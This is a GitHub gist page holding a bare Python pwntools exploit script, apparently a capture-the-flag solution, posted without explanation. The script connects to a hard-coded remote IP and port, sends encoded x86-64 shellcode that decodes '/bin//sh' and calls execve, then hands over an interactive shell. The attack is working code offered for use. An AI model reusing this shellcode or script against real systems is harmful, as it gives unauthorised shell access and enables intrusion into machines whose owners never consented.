Created
May 26, 2019 11:59
-
-
Save ywkw1717/86c7428fa8e3c5f79b037b62f05ad2ac to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
def main(): | |
conn = remote("153.120.129.186", 20000) | |
shellcode = "\x48\xbb\x7f\x32\x39\x3e\x7f\x7f\x23\x38\x48\xb8\x50\x50\x50\x50\x50\x50\x50\x50\x48\x31\xc3\x31\xf6\x56\x53\x54\x5f\x48\x31\xc0\xb0\x3b\x31\xd2\x0f\x05" | |
payload = shellcode | |
conn.send(payload) | |
conn.interactive() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment